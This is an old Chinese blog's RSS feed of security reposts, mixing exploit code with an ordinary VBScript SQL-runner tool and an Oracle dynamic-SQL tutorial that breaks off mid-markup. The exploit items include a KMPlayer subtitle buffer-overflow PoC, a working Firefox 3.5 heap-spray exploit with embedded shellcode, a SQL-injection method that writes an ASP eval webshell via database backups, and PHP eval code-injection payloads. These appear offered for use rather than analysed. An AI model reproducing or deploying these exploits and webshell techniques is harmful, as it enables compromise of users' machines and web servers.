<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="http://feeds.qzone.qq.com/rss.xsl" version="1.0"?>
<rss version="2.0" xmlns:qz="http://qzone.qq.com">
<channel>
<title><![CDATA[SHAKA]]></title>
<description><![CDATA[506966]]></description>
<link>http://506966.qzone.qq.com</link>
<lastBuildDate>Sun, 29 Nov 2009 11:32:32 GMT</lastBuildDate>
<generator>Qzone</generator>
<language>zh-cn</language>
<copyright>Copyright (C), 2005-2008, Tencent Tech. Co., Ltd.</copyright>
<pubDate>Tue, 21 Jul 2009 14:38:14 GMT</pubDate>

<item>
<title><![CDATA[KMplayer &lt;= 2.9.4.1433 (.srt File) Local Buffer Overflow PoC]]></title>
<link>http://506966.qzone.qq.com/blog/1248187094</link>
<description><![CDATA[#!usr/bin/perl<br>######################## In The Name Of Allah ####################<br>#<br># The KMplayer (.Srt) File Local Bof Poc<br>#<br>#<br>#Author : b3hz4d (Seyed Behzad Shaghasemi)<br>#Site : Www.Pentesters.Ir<br>#Tested on KMplayer &lt;= 2.9.4.1433<br>#Special Thanks : Navid, Hossein, Hooshang, Mahmood, Mohammad and all members in Pentesters.ir<br>#Greetings : Shahriyar &amp;&amp; Alireza &amp;&amp; Soroush and all iranian hackers<br>#<br>######################### Www.Pentesters.Ir ######################$junk=&quot;A&quot;x 90000;<br>open(fhandle,&quot;&gt;SubTitle.srt&quot;);<br>print fhandle &quot;1&quot;.&quot;\n&quot;.&quot;00:00:25,100 --&gt; 00:00:30,900&quot;.&quot;\n&quot;.&quot;$junk\n&quot;.&quot;-pentesters\n&quot;;<br>print fhandle &quot;2&quot;.&quot;\n&quot;.&quot;00:00:31,100 --&gt; 00:00:35,900&quot;.&quot;\n&quot;.&quot;www.pentesters.ir\n&quot;.&quot;-Pentesters.Ir\n&quot;;<br>print fhandle &quot;3&quot;.&quot;\n&quot;.&quot;00:00:36,100 --&gt; 00:00:40,900&quot;.&quot;\n&quot;.&quot;www.pentesters.ir\n&quot;.&quot;-Pentesters.Ir\n&quot;;<br>print fhandle &quot;4&quot;.&quot;\n&quot;.&quot;00:00:41,100 --&gt; 00:00:45,900&quot;.&quot;\n&quot;.&quot;www.pentesters.ir\n&quot;.&quot;-Pentesters.Ir\n&quot;;<br>print fhandle &quot;5&quot;.&quot;\n&quot;.&quot;00:00:46,100 --&gt; 00:00:50,900&quot;.&quot;\n&quot;.&quot;www.pentesters.ir\n&quot;.&quot;-Pentesters.Ir\n&quot;;<br>print fhandle &quot;6&quot;.&quot;\n&quot;.&quot;00:00:51,100 --&gt; 00:00:55,900&quot;.&quot;\n&quot;.&quot;www.pentesters.ir\n&quot;.&quot;-Pentesters.Ir\n&quot;;<br>close(fhandle); <!--v:3.2--> ]]></description>
<category><![CDATA[安全]]></category>
<author><![CDATA[506966@qq.com(SHAKA)]]></author>
<comments>http://506966.qzone.qq.com/blog/1248187094#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Tue, 21 Jul 2009 14:38:14 GMT</pubDate>
<guid>http://506966.qzone.qq.com/blog/1248187094</guid>
</item>

<item>
<title><![CDATA[Mozilla Firefox 3.5 Remote Buffer Overflow Exploit]]></title>
<link>http://506966.qzone.qq.com/blog/1247652971</link>
<description><![CDATA[&lt;html&gt;&lt;head&gt;&lt;title&gt;Firefox 3.5 Vulnerability&lt;/title&gt;Firefox 3.5 Heap Spray Vulnerabilty&lt;/br&gt;Author: SBerry aka Simon Berry-Byrne&lt;/br&gt;Thanks to HD Moore for the insight and Metasploit for the payload&lt;div id=&quot;content&quot;&gt;&lt;p&gt;&lt;FONT&gt;                             &lt;/FONT&gt;&lt;/p&gt;&lt;p&gt;&lt;FONT&gt;Loremipsumdoloregkuw&lt;/FONT&gt;&lt;/p&gt;&lt;p&gt;&lt;FONT&gt;Loremipsumdoloregkuwiert&lt;/FONT&gt;&lt;/p&gt;&lt;p&gt;&lt;FONT&gt;Loremikdkw  &lt;/FONT&gt;&lt;/p&gt;&lt;/div&gt;&lt;script language=JavaScript&gt; /* Calc.exe */var shellcode = unescape(&quot;%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800&quot; +                          &quot;%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A&quot; +                          &quot;%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350&quot; +                          &quot;%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40&quot; +                          &quot;%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000&quot; +                          &quot;%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040&quot; +                          &quot;%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD&quot; +                          &quot;%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40&quot; +                          &quot;%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18&quot; +                          &quot;%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0&quot; +                          &quot;%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B&quot; +                          &quot;%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24&quot; +                          &quot;%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9&quot; +                          &quot;%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C&quot; +                          &quot;%u652E%u6578%u9000&quot;);/* Heap Spray Code */            oneblock = unescape(&quot;%u0c0c%u0c0c&quot;);var fullblock = oneblock;while (fullblock.length&lt;0x60000)  {    fullblock += fullblock;}sprayContainer = new Array();for (i=0; i&lt;600; i++)  {    sprayContainer<span style="font-style:italic"><wbr /> = fullblock + shellcode;}var searchArray = new Array() function escapeData(data){ var i; var c; var escData=''; for(i=0;i&lt;data.length;i++)  {   c=data.charAt(i);   if(c=='&amp;' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);   escData+=c;  } return escData;} function DataTranslator(){    searchArray = new Array();    searchArray[0] = new Array();    searchArray[0][&quot;str&quot;] = &quot;blah&quot;;    var newElement = document.getElementById(&quot;content&quot;)    if (document.getElementsByTagName) {        var i=0;        pTags = newElement.getElementsByTagName(&quot;p&quot;)        if (pTags.length &gt; 0)          while (i&lt;pTags.length)        {            oTags = pTags<span style="font-style:italic"><wbr />.getElementsByTagName(&quot;font&quot;)            searchArray<span style="font-style:italic"><wbr /> = new Array()            if (oTags[0])              {                searchArray<span style="font-style:italic"><wbr />[&quot;str&quot;] = oTags[0].innerHTML;            }            i++        }    }} function GenerateHTML(){    var html = &quot;&quot;;    for (i=1;i&lt;searchArray.length;i++)    {        html += escapeData(searchArray<span style="font-style:italic"><wbr />[&quot;str&quot;])    }    }DataTranslator();GenerateHTML()&lt;/script&gt;&lt;/body&gt;&lt;/html&gt; <!--v:3.2--> ]]></description>
<category><![CDATA[安全]]></category>
<author><![CDATA[506966@qq.com(SHAKA)]]></author>
<comments>http://506966.qzone.qq.com/blog/1247652971#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Wed, 15 Jul 2009 10:16:11 GMT</pubDate>
<guid>http://506966.qzone.qq.com/blog/1247652971</guid>
</item>

<item>
<title><![CDATA[db备份shell的改进2点]]></title>
<link>http://506966.qzone.qq.com/blog/1245041166</link>
<description><![CDATA[减少备份文件大小，得到可执行的webshell成功率提高不少<br>一利用差异备份<br>加一个参数WITH DIFFERENTIAL<br>declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0×77006F006B0061006F002E00620061006B00 backup database @a to disk=@s<br>create table [dbo].[xiaolu] ([cmd] [image]);<br>insert into xiaolu(cmd) values(0×3C25657865637574652872657175657374282261222929253E)<br>declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0×65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL<br>二利用完全FORMAT<br>加一个参数WITH FROMAT<br>有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以<br>declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0×77006F006B0061006F002E00620061006B00 backup database @a to disk=@s<br>create table [dbo].[xiaolu] ([cmd] [image]);<br>insert into xiaolu(cmd) values(0×3C25657865637574652872657175657374282261222929253E)<br>declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0×65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT<br>总的来说就是那么简单几句,下面以备份数据库model为例子<br>1<br>id=1;use model create table cmd(str image);insert into cmd(str) values ('&lt;%25execute(request(&quot;a&quot;))%25&gt;')<br>2<br>id=1;backup database model to disk='你的路径‘ with differential,format;-- <!--v:3.2--> ]]></description>
<category><![CDATA[安全]]></category>
<author><![CDATA[506966@qq.com(SHAKA)]]></author>
<comments>http://506966.qzone.qq.com/blog/1245041166#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Mon, 15 Jun 2009 04:46:06 GMT</pubDate>
<guid>http://506966.qzone.qq.com/blog/1245041166</guid>
</item>

<item>
<title><![CDATA[国外黑客网站发布绿坝最新漏洞攻击程序Green Dam 3.17 (URL) Remote Buffer Overflow]]></title>
<link>http://506966.qzone.qq.com/blog/1245040257</link>
<description><![CDATA[Green Dam remote buffer overflow exploit<br><br>&quot;Green Dam&quot; is a software used for monitoring and anti-pornography, popularizing by Chinese goverment. After July 1st, it will be forced to install on all new Chinese PCs.<br>Now it already has 50 million copies in China.<br>In order to monitor the URL that user is exploring, Green Dam injected the browser process. When Green Dam is trying to handle a long URL, a stack overflow will occur in the browser process.<br><br><span style="color:#ff0000;line-height:1.8em;">This exploit can be used for exploitation on IE, on those computers installed Green Dam.</span><wbr /><br>I used the .net binary to deploy shellcode, for it`s more stable than Heap Spray, and able to bypass DEP and ASLR on Vista.<br>The exploit page contains a .net control, so it should be published on IIS.<br>---seer[N.N.U] <!--v:3.2--> ]]></description>
<category><![CDATA[安全]]></category>
<author><![CDATA[506966@qq.com(SHAKA)]]></author>
<comments>http://506966.qzone.qq.com/blog/1245040257#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Mon, 15 Jun 2009 04:30:57 GMT</pubDate>
<guid>http://506966.qzone.qq.com/blog/1245040257</guid>
</item>

<item>
<title><![CDATA[vbs做的sql脚本执行工具]]></title>
<link>http://506966.qzone.qq.com/blog/1244662813</link>
<description><![CDATA['##################执行多目录下的所有sql脚本的工具#################################<br>'#可以方便的执行指定的目录或文件到多个服务器多个数据库<br>'#只会执行以“.sql”后缀的脚本文件<br>'#执行返回结果会生成报告以文本文件打开<br>'【请在此过程中填写运行参数】<br>Sub todo<br>Dim execTool<br>Set execTool=new MySqlScriptExecTool<br>'使用步骤：<br>'一、指定需要执行脚本的服务器，分别为：目标服务器的ip、数据库名、数据库用户名、数据库密码<br>execTool.addDatabaseLink &quot;192.168.1.116&quot;,&quot;dbname&quot;,&quot;username&quot;,&quot;pwd&quot;<br>'如果需要添加多个不同的服务器或者数据库，可以模仿如下方法继续添加<br>'execTool.addDatabaseLink &quot;192.168.1.116&quot;,&quot;dbname2&quot;,&quot;username&quot;,&quot;pwd&quot;<br>'二、指定需要执行的脚本所在的目录：这样在最终执行前会搜索出具体的需要执行的文件，可以写多条类似语句添加多个目录<br>execTool.addFold &quot;F:\exec\sql&quot;<br>'execTool.addFold &quot;D:\drp\DEV\db\SQLServer\report&quot;<br>'三、如果同时需要执行目录下面有子目录的脚本则需要去掉下面这句话前面的“'”<br>'execTool.searchChildFolds()'迭代找出所有子目录<br>'找出指定目录里面的sql脚本<br>execTool.searchFiles()<br>'四、也可以单独需要执行的文件<br>'execTool.addFile(&quot;D:\drp\DEV\db\SQLServer\common\init.sql&quot;)<br>'开始执行脚本到服务器<br>execTool.execSqlScript()<br>End Sub<br><br>Class MySqlScriptExecTool<br>'属性<br>Public folds()'sql语句所在目录<br>Public files()'文件<br>Public logoutFile'日志输出文件<br>Private fso<br>Private WshShell<br>'Private tempRstFileName<br>Private currentFolder'当前目录<br>Private DBserver()'指定数组大小则后面不能该大小了，要改大小的时候报错：该数组为定长的或临时被锁定<br>Private databaseName()<br>Private username()<br>Private password()<br>'初始化<br>Private Sub Class_Initialize <br>   ReDim folds(0)<br>   ReDim files(0)<br>   ReDim DBserver(0)<br>   ReDim databaseName(0)<br>   ReDim username(0)<br>   ReDim password(0)<br>   Set fso = Wscript.CreateObject(&quot;Scripting.FileSystemObject&quot;)<br>   set WshShell = WScript.CreateObject(&quot;WScript.Shell&quot;)<br>   strPath = Wscript.ScriptFullName<br>   objFile = fso.GetFile(strPath)<br>   currentFolder = fso.GetParentFolderName(objFile)<br>   logoutFile = currentFolder + &quot;\SqlScriptExecTool_Log.txt&quot;<br>End Sub<br><br>'添加目标数据库<br>Public function addDatabaseLink(DBserverip,dbname, usenme2, pwd)<br>   length = UBound(DBserver)<br>   DBserver(length) = DBserverip: ReDim Preserve DBserver(length + 1)<br>   databaseName(length) = dbname: ReDim Preserve databaseName(length + 1)<br>   username(length) = usenme2: ReDim Preserve username(length + 1)<br>   password(length) = pwd: ReDim Preserve password(length + 1)<br>end Function<br>'创建文件，存在则覆盖<br>Public function createNewFile(dscFile, msgs)<br>   Const ForReading = 1, ForWriting = 2, ForAppending = 8<br>   Dim f<br>   Set f = fso.OpenTextFile(dscFile, ForWriting, True)<br>   f.Write msgs<br>   f.Close<br>End Function<br>'追加文件<br>Public function appendToFile(dscFile, msgs)<br>   Const ForReading = 1, ForWriting = 2, ForAppending = 8<br>   Dim f<br>   Set f = fso.OpenTextFile(dscFile, ForAppending, True)<br>   f.Write msgs<br>   f.Close<br>End Function<br>'读运文本文件内容<br>Private Function readTxtFile(file_path)<br>   Const ForReading = 1, ForWriting = 2<br>   Dim MyFile<br>   Set MyFile = fso.OpenTextFile(file_path, ForReading)<br>   readTxtFile = MyFile.ReadAll()<br>   MyFile.Close <br>End Function<br><br>'添加目录，有避免重复的检查<br>Public function addFold(fold)<br>   If fso.FolderExists(fold)=False Then <br>    MsgBox &quot;文件夹&quot;+fold+&quot;不存在！&quot; <br>    Exit Function <br>   End If<br>   length = UBound(folds)<br>   For i = 0 To length - 1<br>    If fold = folds(i) Then Exit Function<br>   Next<br>   folds(length) = fold: ReDim Preserve folds(length + 1)<br>end Function<br>'添加文件，有避免重复的检查<br>Public function addFile(file)<br>   If fso.FileExists(file)=False Then <br>    MsgBox &quot;文件&quot;+file+&quot;不存在！&quot; <br>    Exit Function <br>   End If<br>   'If isSqlScriptFile(file) = false Then Exit Function <br>   length = UBound(files)<br>   For i = 0 To length - 1<br>    If file = files(i) Then Exit Function<br>   Next<br>   files(length) = file: ReDim Preserve files(length + 1)<br>end Function<br><br>Public function isSqlScriptFile(file)<br>   If Len(file) &gt; 4 And UCase(Right(file,4)) = &quot;.SQL&quot; Then <br>    isSqlScriptFile = true <br>    Exit Function <br>   End If<br>   isSqlScriptFile = false<br>end Function<br><br>'找出目录下的sql文件<br>Public function searchFiles()<br>   length = UBound(folds)<br>   For i = 0 To length - 1<br>    file_path = folds(i)<br>    'MsgBox &quot;分析文件 &quot;+CStr(i)+&quot;=&quot;+folds(i)   <br>    If fso.FolderExists(file_path) = true Then <br>     'MsgBox &quot;存在的!&quot;<br>     Dim fold<br>     Set fold = fso.GetFolder(file_path)<br>     'If fold.files.Count &gt; 0 Then<br>      For Each flde In fold.files<br>       If isSqlScriptFile(flde.Path) Then <br>        'MsgBox flde.Path 'Name Path<br>        addFile flde.Path<br>       End If <br>      Next <br>     'End If <br>    Else <br>     MsgBox &quot;目录 &quot; + file_path + &quot;不存在！&quot;<br>    End If<br>   Next<br>end Function<br><br>'找出所有目录<br>Public function searchChildFolds()  <br>   'If searchChildFold = False Then Exit Function <br>   length=UBound(folds)+1<br>   For i=length-1 To 0 Step -1<br>    file_path=folds(i)<br>    'MsgBox &quot;分析文件 &quot;+CStr(i)+&quot;=&quot;+folds(i)   <br>    If fso.FolderExists(file_path)=true Then <br>     'MsgBox &quot;存在!&quot;<br>     Dim fold<br>     Set fold = fso.GetFolder(file_path)<br>     ListAllChildFolds fold<br>    End If<br>   Next<br>end Function<br><br>'迭代找出所有子文件夹<br>Public function ListAllChildFolds(fold)<br>   If fold.SubFolders.Count =0 Then Exit Function<br>   For Each subFolder In fold.SubFolders'fold.Files<br>    '将子层目录加入待处理目录<br>    'MsgBox subFolder.Path<br>    addFold subFolder.Path<br>    Dim childFold<br>    Set childFold = fso.GetFolder(subFolder.Path)<br>    ListAllChildFolds childFold<br>   Next <br>end Function<br>Private Function getTempRstFileName(index, scriptName, serverName, databaseName)<br>   'getTempRstFileName = currentFolder + &quot;\&quot; + CStr(index) + &quot;@&quot; + serverName + &quot;@&quot; + databaseName + &quot;@&quot; + scriptName + &quot;.txt&quot;<br>   getTempRstFileName = currentFolder + &quot;\&quot; + serverName + &quot;@&quot; + databaseName + &quot;@&quot; + scriptName + &quot;.txt&quot;<br>End Function<br>Public function execSqlScript()<br>   '创建日志文件<br>   createNewFile logoutFile, &quot;执行sql脚本，开始于：&quot;+CStr(Date())+&quot; &quot;+CStr(Time())+vbCrLf+&quot;==============================================================&quot;+vbCrLf<br>  <br>   Dim tmprstfilepathIdx, tmpFileName<br>  <br>   '1.执行<br>   tmprstfilepathIdx = 0<br>   For sIndex = 0 To UBound(DBserver) - 1<br>    For i =0 To UBound(files) - 1<br>     tmprstfilepathIdx = tmprstfilepathIdx + 1<br>     tmpFileName = getTempRstFileName(tmprstfilepathIdx, fso.GetBaseName(files(i)), DBserver(sIndex), databaseName(sIndex)) <br>     runsql=&quot;isqlw -S &quot; + DBserver(sIndex) + &quot; -d &quot; + databaseName(sIndex) + &quot; -U &quot; + username(sIndex) + &quot; -P &quot; + password(sIndex) + &quot; -i &quot;+files(i)+&quot; -o &quot; + tmpFileName<br>     'MsgBox runsql<br>     WshShell.Run runsql<br>     WScript.Sleep 1000'预留的执行空闲等待<br>    Next <br>   Next<br>   '2.log合并<br>   tmprstfilepathIdx = 0<br>   Dim newmsg<br>   For sIndex = 0 To UBound(DBserver) - 1<br>    For i =0 To UBound(files) - 1<br>     tmprstfilepathIdx = tmprstfilepathIdx + 1<br>     tmpFileName = getTempRstFileName(tmprstfilepathIdx, fso.GetBaseName(files(i)), DBserver(sIndex), databaseName(sIndex))<br>     Dim runRst<br>     runRst = readTxtFile(tmpFileName)<br>     WScript.Sleep 450<br>     newmsg = &quot;&quot;<br>     If i &lt;&gt; 0 And sIndex &lt;&gt; 0 Then <br>      newmsg = vbCrLf + vbCrLf<br>     End If<br>     newmsg = newmsg + &quot;执行序号：&quot; + CStr(tmprstfilepathIdx) <br>     newmsg = newmsg + vbCrLf + &quot;目    标：&quot; + databaseName(sIndex) + &quot;@&quot; + DBserver(sIndex)<br>     newmsg = newmsg + vbCrLf + &quot;执行脚本：&quot; + fso.GetBaseName(files(i)) + &quot;.sql&quot;<br>     newmsg = newmsg + vbCrLf + &quot;执行结果:&quot; + vbCrLf + runRst + vbCrLf<br>     appendToFile logoutFile, newmsg<br>     WScript.Sleep 500<br>     fso.DeleteFile(tmpFileName)<br>    Next <br>   Next<br>  <br>   '日志记录结束时间<br>   appendToFile logoutFile, vbCrLf + &quot;==============================================================&quot; + vbCrLf + &quot;执行sql脚本，结束于：&quot; + CStr(Date()) + &quot; &quot; + CStr(Time())<br>  <br>   '用记事本打开日志文件<br>   WshShell.Run &quot;notepad &quot; + logoutFile<br>end Function<br> <br>Public function showFolds()<br>   For i = 0 To UBound(folds) - 1<br>    MsgBox CStr(i) + &quot;=&quot; + folds(i)<br>   Next<br>end Function<br>Public function showFiles()<br>   For i = 0 To UBound(files) - 1<br>    MsgBox CStr(i) + &quot;=&quot; + files(i)<br>   Next<br>end function<br><br>End Class<br><br>todo <!--v:3.2--> ]]></description>
<category><![CDATA[安全]]></category>
<author><![CDATA[506966@qq.com(SHAKA)]]></author>
<comments>http://506966.qzone.qq.com/blog/1244662813#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Wed, 10 Jun 2009 19:40:13 GMT</pubDate>
<guid>http://506966.qzone.qq.com/blog/1244662813</guid>
</item>

<item>
<title><![CDATA[PHP的一个EVAL]]></title>
<link>http://506966.qzone.qq.com/blog/1244662507</link>
<description><![CDATA[by:http://www.phpeval.cn/<br>   前段时间一个程序出的问题。就和这差不多。<br><br>    <br><br>&lt;?php<br>    $code=&quot;${${eval($_GET[c])}}&quot;;<br>?&gt;<br><br><br>    对于上面的代码。如果在URL提交http://www.phpeval.cn/test.php?c=phpinfo(); 就可以发现phpinfo()被执行了。而相应的提交c=echo 11111; 发现1111也被输出了。这个代码被执行了。<br>    (好些PHP的代码在写文件的时候。都没有注意到这一点。他们在代码中写php的文件的时候。把代码加在双引号之内。然后过滤掉双引号。认为这样就不能执行了。实际上是可以的。by: phpeval)<br>    还有一些利用方式，比如：<br><br>&lt;?php<br>    $code=addslashes($_GET['c']);<br>    eval(&quot;$code&quot;);<br>?&gt;<br><br><br>    提 交 http://www.phpeval.cn/test.php?c=${${phpinfo()}};  phpinfo()就被执行。如果提交 http://www.phpeval.cn/test.php?c=${${eval($_GET[d])}};&amp;d=phpinfo(); 这样的话 d后面的代码也被执行。<br><br>    在发文时。本连接已经删除。各位只有另外找地方测试了。 <!--v:3.2--> ]]></description>
<category><![CDATA[安全]]></category>
<author><![CDATA[506966@qq.com(SHAKA)]]></author>
<comments>http://506966.qzone.qq.com/blog/1244662507#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Wed, 10 Jun 2009 19:35:07 GMT</pubDate>
<guid>http://506966.qzone.qq.com/blog/1244662507</guid>
</item>

<item>
<title><![CDATA[Oracle UNION ALL UNION]]></title>
<link>http://506966.qzone.qq.com/blog/1244662243</link>
<description><![CDATA[1.在查询中会遇到 UNION ALL,它的用法和union一样,只不过union含有distinct的功能,它会把两张表了重复的记录去掉,而union all不会,所以从效率上,union all 会高一点.<br>2.union all 是按原先顺序排列的，union 把两张表中的重复数据去掉后还进行了重新排序<br><span style="font-weight:bold"><wbr />声明：此文来源于网路！</span><wbr /><br><span style="font-weight:bold"><wbr />内容摘要：</span><wbr />在PL/SQL开发过程中，使用SQL，PL/SQL可以实现大部份的需求，但是在某些特殊的情况下，在PL/SQL中使用标准的SQL语句或DML语句不能实现自己的需求，比如需要动态建表或某个不确定的操作需要动态执行。这就需要使用动态SQL来实现。本文通过几个实例来详细的讲解动态SQL的使用。　　<br><br><span style="font-weight:bold"><wbr />　　本文适宜读者范围：</span><wbr />Oracle初级，中级<br><br><span style="font-weight:bold"><wbr />　　系统环境：<br><br>　　　</span><wbr /><span style="font-weight:bold"><wbr />OS</span><wbr />：<span style="color:#000000;line-height:1.8em;">windows</span><wbr /> 2000 Professional (英文版)<br><br>　　　<span style="font-weight:bold"><wbr />Oracle</span><wbr />：8.1.7.1.0<br><br><span style="font-weight:bold"><wbr />　　正文：<br><br>　　</span><wbr />一般的PL/SQL程序设计中，在DML和事务控制的语句中可以直接使用SQL，但是DDL语句及系统控制语句却不能在PL/SQL中直接使用，要想实现在PL/SQL中使用DDL语句及系统控制语句，可以通过使用动态SQL来实现。<br><br>　　首先我们应该了解什么是动态SQL，在Oracle数据库开发PL/SQL块中我们使用的SQL分为：静态SQL语句和动态SQL语句。所谓静态 SQL指在PL/SQL块中使用的SQL语句在编译时是明确的，执行的是确定对象。而动态SQL是指在PL/SQL块编译时SQL语句是不确定的，如根据用户输入的参数的不同而执行不同的操作。编译程序对动态语句部分不进行处理，只是在程序运行时动态地创建语句、对语句进行语法分析并执行该语句。<br><br>　　Oracle中动态SQL可以通过本地动态SQL来执行，也可以通过DBMS_SQL包来执行。下面就这两种情况分别进行说明：<br><br><span style="font-weight:bold"><wbr />　　一、本地动态</span><wbr /><span style="font-weight:bold"><wbr />SQL<br></span><wbr /><br>　　本地动态SQL是使用EXECUTE IMMEDIATE语句来实现的。<br><br><span style="font-weight:bold"><wbr />　　1</span><wbr /><span style="font-weight:bold"><wbr />、本地动态SQL</span><wbr /><span style="font-weight:bold"><wbr />执行DDL</span><wbr /><span style="font-weight:bold"><wbr />语句：<br></span><wbr /><br>　　需求：根据用户输入的表名及字段名等参数动态建表。<br><br><span style="font-family:'NSimSun';line-height:1.8em;"><span style="font-weight:bold"><wbr />create</span><wbr /> <span style="font-weight:bold"><wbr />or</span><wbr /> <span style="font-weight:bold"><wbr />replace</span><wbr /> <span style="font-weight:bold"><wbr />procedure</span><wbr /> proc_test<br>(<br>table_name <span style="font-weight:bold"><wbr />in</span><wbr /> <span style="font-weight:bold"><wbr />varchar2</span><wbr />, --表名<br>field1 <span style="font-weight:bold"><wbr />in</span><wbr /> <span style="font-weight:bold"><wbr />varchar2</span><wbr />, --字段名<br>datatype1 <span style="font-weight:bold"><wbr />in</span><wbr /> <span style="font-weight:bold"><wbr />varchar2</span><wbr />, --字段类型<br>field2 <span style="font-weight:bold"><wbr />in</span><wbr /> <span style="font-weight:bold"><wbr />varchar2</span><wbr />, --字段名<br>datatype2 <span style="font-weight:bold"><wbr />in</span><wbr /> <span style="font-weight:bold"><wbr />varchar2</span><wbr /> --字段类型<br>) <span style="font-weight:bold"><wbr />as</span><wbr /><br>str_sql <span style="font-weight:bold"><wbr />varchar2</span><wbr />(500);<br><span style="font-weight:bold"><wbr />begin</span><wbr /><br>str_sql:=’create table ’||table_name||’(’||field1||’ ’||datatype1||’,’||field2||’ ’||datatype2||’)’;<br><span style="font-weight:bold"><wbr />execute</span><wbr /> <span style="font-weight:bold"><wbr />immediate</span><wbr /> str_sql; --动态执行DDL语句<br><span style="font-weight:bold"><wbr />exception</span><wbr /><br><span style="font-weight:bold"><wbr />when</span><wbr /> <span style="font-weight:bold"><wbr />others</span><wbr /> <span style="font-weight:bold"><wbr />then</span><wbr /><br><span style="font-weight:bold"><wbr />null</span><wbr />;<br><span style="font-weight:bold"><wbr />end</span><wbr /> ;<br></span><wbr />　　以上是编译通过的存储过程代码。下面执行存储过程动态建表。<br><br><span style="font-family:'NSimSun';line-height:1.8em;"><span style="font-weight:bold"><wbr />SQL</span><wbr />&gt; <span style="font-weight:bold"><wbr />execute</span><wbr /> proc_test(’dinya_test’,’id’,’number(8) not null’,’name’,’varchar2(100)’);<br><br>PL/<span style="font-weight:bold"><wbr />SQL</span><wbr /> <span style="font-weight:bold"><wbr />procedure</span><wbr /> successfully completed<br><br><span style="font-weight:bold"><wbr />SQL</span><wbr />&gt; <span style="font-weight:bold"><wbr />desc</span><wbr /> dinya_test;<br><span style="font-weight:bold"><wbr />Name</span><wbr /> <span style="font-weight:bold"><wbr />Type</span><wbr /> Nullable <span style="font-weight:bold"><wbr />Default</span><wbr /> Comments<br><span style="font-style:italic"><wbr />---- ------------- -------- ------- --------</span><wbr /><br><span style="font-weight:bold"><wbr />ID</span><wbr /> <span style="font-weight:bold"><wbr />NUMBER</span><wbr />(8)<br><br><span style="font-weight:bold"><wbr />NAME</span><wbr /> <span style="font-weight:bold"><wbr />VARCHAR2</span><wbr />(100) Y<br><br><span style="font-weight:bold"><wbr />SQL</span><wbr />&gt;<br></span><wbr />　　到这里，就实现了我们的需求，使用本地动态SQL根据用户输入的表名及字段名、字段类型等参数来实现动态执行DDL语句。<br><br><span style="font-weight:bold"><wbr />　　2</span><wbr /><span style="font-weight:bold"><wbr />、本地动态SQL</span><wbr /><span style="font-weight:bold"><wbr />执行DML</span><wbr /><span style="font-weight:bold"><wbr />语句。<br></span><wbr /><br>　　需求：将用户输入的值插入到上例中建好的dinya_test表中。<br><br><span style="font-family:'NSimSun';line-height:1.8em;"><span style="font-weight:bold"><wbr />create</span><wbr /> <span style="font-weight:bold"><wbr />or</span><wbr /> <span style="font-weight:bold"><wbr />replace</span><wbr /> <span style="font-weight:bold"><wbr />procedure</span><wbr /> proc_insert<br>(<br><span style="font-weight:bold"><wbr />id</span><wbr /> <span style="font-weight:bold"><wbr />in</span><wbr /> <span style="font-weight:bold"><wbr />number</span><wbr />, --输入序号<br><span style="font-weight:bold"><wbr />name</span><wbr /> <span style="font-weight:bold"><wbr />in</span><wbr /> <span style="font-weight:bold"><wbr />varchar2</span><wbr /> --输入姓名<br>) <span style="font-weight:bold"><wbr />as</span><wbr /><br>str_sql <span style="font-weight:bold"><wbr />varchar2</span><wbr />(500);<br><span style="font-weight:bold"><wbr />begin</span><wbr /><br>str_sql:=’insert into dinya_test values(:1,:2)’;<br><span style="font-weight:bold"><wbr />execute</span><wbr /> <span style="font-weight:bold"><wbr />immediate</span><wbr /> str_sql <span style="font-weight:bold"><wbr />using</span><wbr /> <span style="font-weight:bold"><wbr />id</span><wbr />,<span style="font-weight:bold"><wbr />name</span><wbr />; --动态执行插入操作<br><span style="font-weight:bold"><wbr />exception</span><wbr /><br><span style="font-weight:bold"><wbr />when</span><wbr /> <span style="font-weight:bold"><wbr />others</span><wbr /> <span style="font-weight:bold"><wbr />then</span><wbr /><br><span style="font-weight:bold"><wbr />null</span><wbr />;<br><span style="font-weight:bold"><wbr />end</span><wbr /> ;<br></span><wbr />　　执行存储过程，插入数据到测试表中。<br><br><span style="font-family:'NSimSun';line-height:1.8em;"><span style="font-weight:bold"><wbr />SQL</span><wbr />&gt; <span style="font-weight:bold"><wbr />execute</span><wbr /> proc_insert(1,’dinya’);<br>PL/<span style="font-weight:bold"><wbr />SQL</span><wbr /> <span style="font-weight:bold"><wbr />procedure</span><wbr /> successfully completed<br><span 